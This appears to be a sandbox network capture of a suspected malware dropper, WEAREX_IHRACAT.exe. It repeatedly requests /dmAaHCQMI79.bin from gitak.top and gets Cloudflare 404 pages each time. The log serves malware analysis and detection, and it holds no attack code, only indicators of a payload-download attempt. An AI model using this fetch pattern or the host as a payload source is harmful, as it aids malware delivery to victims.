2024-08-29 10:46:26 UTC	689	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:46:26 UTC	1369	IN	Data Raw: 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b Data Ascii: x;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:46:26 UTC	915	IN	Data Raw: 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 Data Ascii: 353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c
2024-08-29 10:46:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49812	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:46:36 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:46:37 UTC	672	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:46:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vTE2Sv77XFRjvS8qsqlko1AXrAWneT8Lgnx0krqqZJj%2BallBnvx8eQbG%2B5eDjz4dxLXn7pF1jYX4RbWUL9ZzMDi6nY8h%2FHmfHx3PDDnRzctcZXY5xqeDFxXgX2w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf5518b0c05c2-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:46:37 UTC	697	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:46:37 UTC	1369	IN	Data Raw: 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d 0a 0a 09 Data Ascii: argin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:46:37 UTC	907	IN	Data Raw: 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 Data Ascii: 15 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0
2024-08-29 10:46:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49813	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:46:47 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:46:47 UTC	681	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:46:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 10 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TMZVqUKXFMvt2oMoa48tTQ6wtJGNlsj%2BV0xfFDSCUlN4MdFfYHKliDJuGvqvQdJspkuekEbN9gYQKsm%2FN%2FCX%2B9QswbCJYmma%2FmsNw34w300XjQjpejXGy4rijac%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf594ad5d801b-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:46:47 UTC	688	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:46:47 UTC	1369	IN	Data Raw: 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e Data Ascii: px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn
2024-08-29 10:46:47 UTC	916	IN	Data Raw: 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 Data Ascii: .353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56
2024-08-29 10:46:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49814	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:46:58 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:46:58 UTC	681	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:46:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 21 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2e7n4Gsfk9EOUGZg0NvISoDMYY5slzc%2BuhdL6VsJXvTznTMhPQFig3bIc5SBS0xOp1js7%2BZlr7KJ4ZKaUFT830IKXSxADI5iWUIT%2Bjez%2BQ%2BzACGDLjB0CHTtaDQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf5d68da12d28-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:46:58 UTC	688	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:46:58 UTC	1369	IN	Data Raw: 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e Data Ascii: px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn
2024-08-29 10:46:58 UTC	915	IN	Data Raw: 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 Data Ascii: .353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56
2024-08-29 10:46:58 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:46:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49815	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:47:08 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:47:08 UTC	683	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:47:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 31 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w9E4enV9EQITKn2RdaDLiP1UOL%2F4RcQ3ckHhSfEealRp%2BJr%2Bs6pVErAmRvyglu6UI7uWTGZlJKq6%2Bw%2BC8BIWPeI2PVbnBWrRNkS%2FQk7vcvV4gitiB6PZ9ZnfYyY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf6182f97061a-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:47:08 UTC	686	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:47:08 UTC	1369	IN	Data Raw: 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 Data Ascii: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fade
2024-08-29 10:47:08 UTC	918	IN	Data Raw: 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 Data Ascii: -2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h
2024-08-29 10:47:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49816	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:47:19 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:47:19 UTC	681	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:47:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 42 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FSMgWbpddeq%2FNvt4ouFM%2Ft8tKPaxufufFx4ue7U4Qi3HEA1ervrhFkn94kyx8AstrXZf9lon1y1gr0dWGtL0%2FbsJwUQcZC%2B88dTjCGMFKJYWGooBCqENCmkkGs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf659ee228293-IAD alt-svc: h3=":443"; ma=86400
